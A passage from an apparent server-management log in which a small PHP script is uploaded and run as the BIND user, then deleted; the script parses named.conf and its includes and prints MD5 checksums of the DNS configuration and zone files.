MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 16:23:24: Establishing a connection
2026-04-24 16:23:24: 

PUT: /tmp/pkp161819

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 16:23:25: 

runuser -l bind -s /bin/bash -c '/tmp/pkp161819; rm /tmp/pkp161819'

2026-04-24 16:23:25: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 16:23:29: Establishing a connection
2026-04-24 16:23:29: 

PUT: /tmp/pkp618832

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 16:23:29: 

runuser -l bind -s /bin/bash -c '/tmp/pkp618832; rm /tmp/pkp618832'

2026-04-24 16:23:29: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
